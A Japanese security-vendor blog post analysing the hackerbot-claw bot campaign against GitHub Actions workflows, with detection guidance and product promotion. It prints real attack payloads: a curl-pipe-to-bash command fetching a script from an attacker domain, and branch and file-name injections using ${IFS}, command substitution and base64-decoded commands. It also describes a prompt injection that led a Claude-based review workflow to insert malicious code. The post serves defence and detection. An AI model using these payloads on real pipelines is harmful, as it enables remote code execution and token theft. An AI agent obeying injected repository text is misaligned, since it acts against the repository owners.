ブーツの中にボットがいる！ hackerbot-claw がワークフローの改ざんを試みたかを調べる

ターゲット：GitHubリポジトリ

GitHub は、ソフトウェアのビルド、テスト、リリースを支える SaaS コントロールプレーンになりつつあります。そのため、これは開発者だけの問題ではなく、SOC における可視性の問題でもあります。防御側が GitHub Actions、トークン、ワークフロー権限、自動コメントの内部で何が起きているかを把握できなければ、攻撃者が「プルリクエストを作成した」段階から「ビルド環境内でコマンドを実行している」段階へ移る瞬間を見逃してしまいます。

こうした攻撃手法自体は、まったく新しいものではありません。スクリプトインジェクション、トークン窃取、サプライチェーン悪用は、以前から存在していました。AI が変えるのは、その速度と規模です。ボットは何千ものリポジトリをスキャンし、複数の攻撃経路を試し、高速に試行錯誤を繰り返し、24時間365日動き続けることができます。この組み合わせにより、1つの設定不備が人間に気付かれる前に、多数の対象に対して繰り返し悪用され、影響が増幅されます。

hackerbot-claw キャンペーンは、その影響を端的に示す事例です。自律型の攻撃者が GitHub ワークフローの弱点を体系的に探り、実際に実行をトリガーし、場合によっては、変更の push に使える認証情報を窃取しました。そこには、CI パイプラインが実行してしまう悪意のあるコードが含まれる可能性もありました。

hackerbot-claw とは何か

hackerbot-claw は GitHub アカウント（現在は削除済み）で、自らを「autonomous security research agent」と称していました。複数の公開リポジトリに存在する設定不備のある GitHub Actions ワークフローを標的に、自動化キャンペーンを実行していたことが確認されています。目的は、GitHub Actions ランナー環境内でリモートコード実行につながる形で CI ジョブをトリガーし、場合によっては権限の高い GitHub 認証情報（書き込み可能なトークンなど）を窃取することでした。

要約すると、この攻撃では次の 3 つの仕組みが使われていました。

• 外部ユーザーからの信頼できない入力（プルリクエスト、ブランチ名、ファイル名、コメントコマンドなど）が CI システムで実行され得る GitHub Actions 構成を体系的に探索した。
• ワークフローランナーにペイロード（一般的には「このスクリプトをダウンロードして実行する」コマンド）を実行させるため、複数の手法を繰り返し試し、その後ランナー環境からシークレットやトークンの流出を試みた。
• 書き込み権限を持つトークンの窃取やリポジトリ侵害に至った事例が複数報告されており、認証情報の窃取後の追加操作によってリポジトリ全体が侵害されたとされる Trivy の事例も含まれている。

リスクの技術的な内訳

このキャンペーンは 2026 年 2 月 21 日から 2 月 28 日までの 7 日間にわたって実行され、著名なオープンソースの公開リポジトリが標的となりました。外部コントリビューターからの信頼できない入力でワークフローをトリガーし、それを受け入れてしまう GitHub Actions の一般的な機能が悪用され、コード実行や認証情報の流出につながりました。

キャンペーン全体では、多数のリポジトリがスキャンされ、少なくとも 7 件の攻撃が確認され、5 つの既知の GitHub 攻撃手法が使われたと推定されています。

• Pwn Request：コントリビューターの出所にかかわらず、ワークフローを高権限で実行できてしまう GitHub Actions の脆弱な構成を悪用する手法。
  
• Direct script injection：プルリクエストをきっかけにワークフローから自動実行されるプロジェクト内スクリプトを改変する手法。
  
• Payload injection in file or branch names：push されたファイル名やブランチ名にコマンドを埋め込み、後続の GitHub Action で取得・使用させる手法。
  
• AI prompt injection：LLM エージェントに渡される指示を改変し、実質的にエージェントに対するソーシャルエンジニアリングを行う手法。

攻撃 1：pull_request_target を通じて高権限でプルリクエストを自動マージ

この攻撃では、Pwn Request 手法が使われます。これは、コントリビューターに関係なく、プルリクエストに対してワークフローを自動実行し、場合によっては高い権限で動作させてしまうものです。GitHub Actions に設定されたトリガーを悪用して悪意のあるコードを注入し、それを GitHub Actions 環境内で実行させます。結果として、GitHub Actions のトークンが流出する可能性があります。

対象となるトリガーの例：

• pull_request_target
• workflow_run
• issue_comment
• issues
• discussion_comment
• discussion
• fork
• watch

‍

hackerbot は少なくとも 2 件の攻撃で pull_request_target トリガーを使用しました。1 件は Go スクリプトが注入された avelino/awesome-go に対するもので、もう 1 件は aquasecurity/trivy に対するものでした。後者では、承認なしでコードを push するための初期トークンが窃取されました。アップロードされたコードは main.go という Go ファイルで、.github/scripts ディレクトリに配置され、プルリクエストのマージ時に実行されました。

avelino/awesome-go のケースでは、ワークフロー pr-quality-check.yaml に pull_request_target トリガーが含まれているだけでなく、品質チェックが成功した場合に承認なしでマージを許可する自動マージのステップも含まれていました。

攻撃の検出

プルリクエストが作成されると、対象リポジトリ上で pull_request.create イベントが生成されます。このとき、要求元のアイデンティティとして hackerbot-claw（テスト用に作成したサンプルリポジトリでは hackerbot-claw-exaforce）が記録されます。PR イベントには、標的となったリポジトリ、要求元アイデンティティ（名前と ID）、プルリクエストのタイトル、URL、ID が含まれます。

次に生成されるのが environment.create イベントです。これは、ワークフローやそのスクリプトが実行される環境の作成を示します。その後、ワークフローが正常終了すると workflows.completed_workflow_run イベントが返されます。失敗した場合は、エラー内容から失敗理由を確認できます。

要求元アイデンティティが hackerbot-claw である pull_request.create → environment.create の組み合わせは、hackerbot-claw が脆弱なワークフローを持つリポジトリを標的にし、ワークフローが開始されたことを示す可能性があります。さらに workflows.completed_workflow_run が続けば、ワークフローが正常に完了したことを確認できます。

以下のスクリーンショット（エクサフォース提供）は、この一連のイベントを示しています。

なお、ワークフローには複数の実行ステップが含まれており、悪意のあるステップはその一部にすぎません。悪意のあるステップ自体は成功していても、その後のステップで失敗すれば、workflows.completed_workflow_run イベントは生成されない場合があります。

攻撃 2：ワークフローにより自動実行される直接的なスクリプトインジェクション

project-akri/akri では、Auto Bump Versions ワークフローに、プルリクエストコメント本文に /version <minor | major | patch> が含まれていると実行されるロジックが含まれていました。この条件が満たされると、version.sh スクリプトが異なるパラメータで実行されます。

攻撃者は version ファイルを改変し、curl -sSfL https://hackmoltrepeat.com/molt | bash を含めたうえでプルリクエストを送信しました。これによりワークフローがトリガーされ、攻撃者のエンドポイント hackmoltrepeat.com から配信された molt が実行されました。

攻撃の検出

この攻撃の検出方法は、前の攻撃とほぼ同じです。要求元アイデンティティが hackerbot-claw であることから、pull_request.create イベントを特定できれば、hackerbot-claw がそのリポジトリを標的にした可能性を示せます。さらに environment.create イベントを確認できれば、ワークフローが開始されたことの裏付けになります。

攻撃 3：式構文を悪用した名前インジェクション

microsoft/ai-discovery-agent と RustPython/RustPython では、ワークフロー内でブランチ名を式構文 (${{ }}) で囲み、他の箇所でも再利用していました。DataDog/datadog-iac-scanner では、それを使って push されたファイルを確認していました。

セキュリティ上の注意：これは推奨されない実装です。ワークフローでは、式構文の内部に書かれた内容が実行されるためです。これらの式に入るデータは、すべて信頼できない入力として扱うべきです。外部ユーザーが、式構文内で利用される変数に値を入力できる状態にしてはいけません。

Hackerbot はこの危険な実装を悪用し、ワークフローでの変数の使われ方に応じて、ブランチ名またはコミットしたファイル名に悪意のあるペイロードを埋め込んだプルリクエストを送信しました。ペイロードには通常、攻撃者が管理するエンドポイントからコマンドファイルを取得して実行するための curl コマンドが含まれていました。

3 つのリポジトリすべてに共通していたのは、${IFS} を使ってスペースなしの 1 つの文字列としてペイロードを組み立てていたことです。ブランチ名は、通常のブランチ接頭辞（dev や main など）の後にペイロードが続き、コマンド置換 $() を使って括弧内のコマンドを実行します。

• microsoft/ai-discovery-agent では、ペイロードに、やや難読化された curl コマンドを Bash にパイプする内容が含まれていました。dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)
• RustPython/RustPython では、Base64 でエンコードされたコマンドをデコードし、そのまま Bash にパイプしていました。main$(echo${IFS}Y3VybCAtc1NmTCBodHRwczovL2hhY2ttb2x0cmVwZWF0LmNvbS9tb3VsdCB8IGJhc2g|base64${IFS}-d|bash)
• DataDog/datadog-iac-scanner では、攻撃者はコマンド置換を含むペイロードをファイル名に埋め込んだ Markdown ファイルを push しました。このペイロードも、スクリプトをダウンロードして Bash にパイプする Base64 エンコード済みコマンドを含んでいました。$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md

攻撃の検出

難読化されたコマンドインジェクションの検出は、この分野でも特に予測しづらい課題の 1 つです。難読化は非常に単純なものから極めて複雑なものまでさまざまであり、ファイル名やブランチ名は文字列として扱われるうえ、GitHub では使用可能な文字の制約が比較的緩いため、文字列のあらゆる部分が難読化される可能性があります。場合によっては、難読化が多層にネストされることもあります。

ただし、このケースではいくつかの特徴的なパターンが見られます。

• スペースの代わりとして ${IFS} を使用している
• コマンド置換 $() を使用している
• パイプされたコマンドの実行先シェルとして bash を使用している
• base64${IFS}-d を使って Base64 エンコードされたペイロードを復号している

以下のスクリーンショットは、エクサフォースが GitHub 上でこの不審なアクティビティを捉えた例です。

より具体的な検出に使える細かな差異もあります。たとえば、2 件では molt|${IFS}bash のような文字列が見られ、別の 1 件ではそれが単独で現れます。また、${IFS}|${IFS} のように IFS が連続して使われる例もあります。ただし、検出ロジックを具体化しすぎると脆くなり、回避も容易になります。そのため、一般には、より広い振る舞いのパターンに注目するほうが適切です。

攻撃 4：LLM に対するソーシャルエンジニアリング

最後の攻撃は、興味深く新規性のあるものでした。ambient-code/platform リポジトリでは、CLAUDE.md ファイルが、LLM が実行すべきタスクに関するコンテキストを与えるための指示ファイルとして使われていました。

Hackerbot は、Bash ファイルに不正なコードをコミットして push し、偽の PR 承認コマンドを投稿し、さらに README ファイル内でプロンプトインジェクションがどのように機能したかを説明するようエージェントに指示する PR を提出しました。このリポジトリの Amber Automatic Code Review ワークフローは pull_request_target トリガーを使用し、CLAUDE.md を通じて Claude に書き込み権限付きでリポジトリへアクセスさせていました。この構成を悪用し、プロンプトインジェクションによって LLM を誘導することで、攻撃者は Claude を操作し、リポジトリに不正なコードを挿入させることができました。

攻撃の検出

このワークフローは、最初の攻撃と同様に pull_request_target を使ってワークフロータスクを高権限で実行していました。また、2 つ目の攻撃と同様に、既存コードを改変してワークフローにコマンドを注入し、特定の処理を実行させていました。ただしこのケースでは、ワークフロートークンの窃取ではなく、リポジトリ内の不正コードを承認させることが目的でした。

教訓

hackerbot-claw から得られる教訓は、GitHub がソフトウェアのビルドとリリースを支える高信頼の運用レイヤーになっている、ということです。そのため、小さな設定の違いでも、大きなセキュリティ影響につながり得ます。可視性が乏しいと、セキュリティチームは、攻撃者が「ビルドをトリガーする」段階から「出荷される成果物を変える」段階へ進んだ後になって、初めて異常に気付くことになります。

hackerbot-claw のようなキャンペーンが成功した場合、その影響範囲は 1 回のワークフロー実行にとどまりません。本当に危険なのは、CI 実行からリポジトリ制御への移行です。書き込み可能なトークンが窃取されると、PR を起点とする 1 回の実行が、人間のレビュアーが異変に気付く前に、コード改変、リリース改ざん、下流のサプライチェーンリスクへと発展し得ます。

この攻撃チェーンが成立すると、被害は単一のワークフロー実行を超えます。窃取された CI 認証情報は、不正なコミットの push、リポジトリ保護の弱体化、リリースの削除や差し替え、さらには下流チームが自動取得してしまう改ざん済みアーティファクトの公開に使われる可能性があります。こうして、短命なビルドイベントがサプライチェーンイベントへと変わります。なぜなら、攻撃者はもはや「CI の中」にいるのではなく、信頼されたソフトウェアが生産・配布される記録システムの中にいるからです。

これが SOC プラットフォームで SaaS 検出を必要とする理由

こうした操作は、表面上は通常の GitHub アクティビティに見えることが少なくありません。コミットが push される。設定が変更される。リリースが削除される。誰がワークフローをトリガーしたのか、どの権限で実行されたのか、どのトークンにアクセスしたのか、その直後に何が起きたのか――こうした情報を SaaS ネイティブに可視化できなければ、多くの SOC チームは「通常の自動化」と「侵入経路として悪用される自動化」を確実に見分けられません。違いは時系列とコンテキストにあり、そのコンテキストは GitHub テレメトリを監視し、他の SOC シグナルと相関させて初めて見えてきます。

SOC チームにとって実務上の要点は明確です。GitHub テレメトリは、アイデンティティやクラウドのテレメトリと同様に扱う必要があり、検出は「自動化が権限へ変わる」転換点に着目しなければなりません。

エクサフォースの自動検出

hackerbot-claw は、GitHub の可視性が SOC に不可欠である理由を示しています。エクサフォースは、GitHub 上のアクティビティをエンドツーエンドで調査・相関可能にすることで、その可視性ギャップを埋めます。これにより、自動化された CI の悪用を、リポジトリ乗っ取りやサプライチェーン影響に至る前の早い段階で捉えることができます。

エクサフォースは、まさにこの種の可視性ギャップに対応するために設計されています。現代の攻撃は、もはやエンドポイントやネットワークの中だけに収まりません。GitHub のような SaaS コントロールプレーン上で、アイデンティティ、自動化、特権トークンが交差する地点を悪用します。hackerbot-claw 型のインシデントでは、SOC の課題は、「誰がワークフローをトリガーしたか」「CI 内で何が実行されたか」「どのトークンが使われたか」「その後リポジトリで何が変わったか」をすばやく結び付けることです。エクサフォースは、まさにこの種のクロスシグナル相関を行うために設計されています。

エクサフォースは、リソースとイベントを結び付けることで、GitHub を含むクラウド IaaS、PaaS、SaaS 環境全体で発生する、上記のようなリスクや攻撃試行をより深く理解できるようにし、脅威ハンティングと検出を簡素化します。

脆弱なワークフローの特定

脆弱なワークフローを見つけるには、特定の組織に対して、.github/workflows ディレクトリ内で pull_request_target の使用を GitHub 上から検索する必要があります。エクサフォースはこの情報を収集し、pull_request_target を含む GitHub ワークフローの一覧を提供します。これにより、脆弱な可能性のあるワークフローを把握できます。

エクサフォースのカスタム脅威ルール

Exaforce Automated Detection を使うと、ユーザーはイベントをグルーピングし、定義した条件に基づいて、指定した重大度で脅威検出をトリガーできます。

このようなシナリオでは、カスタム検出をすばやく作成できることが非常に重要です。時間が重要な状況でも、エクサフォースなら自然言語ベースでシンプルにカスタム脅威ルールを作成できるため、対応時間を短縮できます。以下の画像は、hackerbot-claw の検出に際して実施した内容を示しています。

イベントがルールに一致すると、潜在的な攻撃に関するアラートが生成され、アナリストはインシデントを確認し、優先順位を付けることができます。

Exaforce MDR：重要な場面での追加支援

Exaforce MDR は、このように攻撃がアナリストの確認サイクルより速く進行する状況で、第 2 の防御線を提供します。社内チームが何が起きたかをまだ検証している間にも、MDR チームはすでにアイデンティティおよび SaaS アクティビティ全体の高リスクシグナルを監視し、重要なものをトリアージし、初動の封じ込めを支援します。これにより、1 回の不審なワークフロー実行が、気付かれないままリポジトリ制御やサプライチェーンインシデントへ発展するのを防ぎます。

SOC チームにとっての価値は、対応の余地と安心感が生まれることです。顧客は、実際の影響を示すシーケンスを見極め、影響範囲を迅速に確認し、アクセス制御の強化や露出した認証情報のローテーションといった実践的な衛生対策を推進する専門家チームを得られます。これにより、エンジニアリング部門やセキュリティ部門の責任者が事実関係を整理している間にも、状況が全社総出の緊急対応に発展するのを防げます。

まとめ

今回の攻撃群は、残念ではあるものの、非常に示唆に富むものでした。環境を能動的に標的化するボットの存在は、脅威環境が大きく変化していることを示しています。現在よく見られるプログラム型ボットと同様に、AI 主導ボットが脆弱なシステムを大規模にクロール、スキャン、標的化し始めるのは、時間の問題でしょう。

また、重要なのは、このボットがゼロデイ脆弱性を使わず、フィッシングにも依存せず、コマンドも大きく難読化していなかったことです。代わりに、よく知られた悪い実装を比較的単純な手法で悪用し、標的を侵害しました。これは、特に公開されたリソースに対する攻撃の防御と検出に、なお多くの改善余地があることを示しています。

一見通常に見えるアクティビティが、必ずしも安全とは限りません。最も重大な脅威の中には、正当に見える振る舞いの中に潜むものがあります。SaaS アプリケーションは、現代の攻撃の最前線にますます位置するようになっていますが、多くの SOC プラットフォームはいまだ SaaS 環境に対する十分な検出カバレッジを備えていません。エクサフォースでは、多くの上流検出エンジンが見逃すこうしたシナリオを補足するため、社内で検出機能を提供しています。